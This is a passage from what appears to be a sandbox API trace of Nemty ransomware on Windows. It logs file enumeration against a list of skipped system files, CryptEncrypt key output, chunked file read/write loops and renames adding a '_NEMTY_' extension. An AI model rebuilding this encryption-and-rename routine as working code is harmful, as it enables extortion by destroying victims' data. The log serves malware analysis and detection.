SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0097.360] CloseHandle (hObject=0xffffffff) returned 0 [0097.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0097.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0097.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0097.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0097.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0097.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0097.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0097.361] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png._nemty_kgobjgd_")) returned 0 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.361] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0097.361] lstrcmpiW (lpString1="whiteband.png", lpString2=".") returned 1 [0097.361] lstrcmpiW (lpString1="whiteband.png", lpString2="..") returned 1 [0097.361] lstrcmpiW (lpString1="whiteband.png", lpString2="...") returned 1 [0097.361] lstrcmpiW (lpString1="whiteband.png", lpString2="windows") returned -1 [0097.361] lstrcmpiW (lpString1="whiteband.png", lpString2="$RECYCLE.BIN") returned 1 [0097.361] lstrcmpiW (lpString1="whiteband.png", lpString2="rsa") returned 1 [0097.361] lstrcmpiW (lpString1="whiteband.png", lpString2="NTDETECT.COM") returned 1 [0097.361] lstrcmpiW (lpString1="whiteband.png", lpString2="ntldr") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="MSDOS.SYS") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="IO.SYS") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="boot.ini") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="boot.ini") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="AUTOEXEC.BAT") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="ntuser.dat") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="desktop.ini") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="CONFIG.SYS") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="RECYCLER") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="BOOTSECT.BAK") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="bootmgr") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="programdata") returned 1 [0097.362] lstrcmpiW (lpString1="whiteband.png", lpString2="appdata") returned 1 [0097.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whiteband.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0097.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whiteband.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whiteband.png", lpUsedDefaultChar=0x0) returned 13 [0097.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whiteband.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0097.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whiteband.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whiteband.png", lpUsedDefaultChar=0x0) returned 13 [0097.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whiteband.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0097.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whiteband.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whiteband.png", lpUsedDefaultChar=0x0) returned 13 [0097.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whiteband.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0097.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whiteband.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whiteband.png", lpUsedDefaultChar=0x0) returned 13 [0097.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0097.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0097.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0097.362] Sleep (dwMilliseconds=0x5) [0097.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xedaf8b70, dwHighDateTime=0x1d561e7)) [0097.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xedaf8b70, dwHighDateTime=0x1d561e7)) [0097.373] GetLastError () returned 0x5 [0097.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.373] GetLastError () returned 0x5 [0097.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.373] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0097.373] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0097.373] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0097.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0097.373] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="JuvrB1ugBT8xPkmYwuRAKYM7g6pI9M6LCboyEZC+MYrcIDl7lCD59+LufR06Eo04\r\nRQaykna+zwUXnKRvGGP5Uq0Mbs/+n8UuRMql/j9zbKOW5+UtDENiBSk7dCNIIlNQ\r\ngJHE8fJRYqNyBdgQp6t2ecYJxgFi8NN2aTqU2zAIGOcaB35ZeUXkG2lBcliZS/P3\r\nLeqLUc3MDZgKvyEiC0+HXdTl4786ip+AjnSBusi5IzfA0Cv7I8lyIwiSfCU+TADp\r\nP7V7TMYq9eCBHwxJbgPVuDm/LZENCPqras+NyeS1jFM9cuugoKVTsgWDN+48Cl0d\r\nqeehpePhLOTIsiFDJxhYrA==\r\n", pcchString=0x653e91c) returned 1 [0097.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0097.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0097.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0097.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0097.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0097.374] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.374] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0097.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0097.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.411] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.421] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.430] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.430] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.440] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0097.481] CloseHandle (hObject=0xffffffff) returned 0 [0097.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0097.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0097.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0097.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0097.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.481] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png._nemty_kgobjgd_")) returned 0 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0097.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 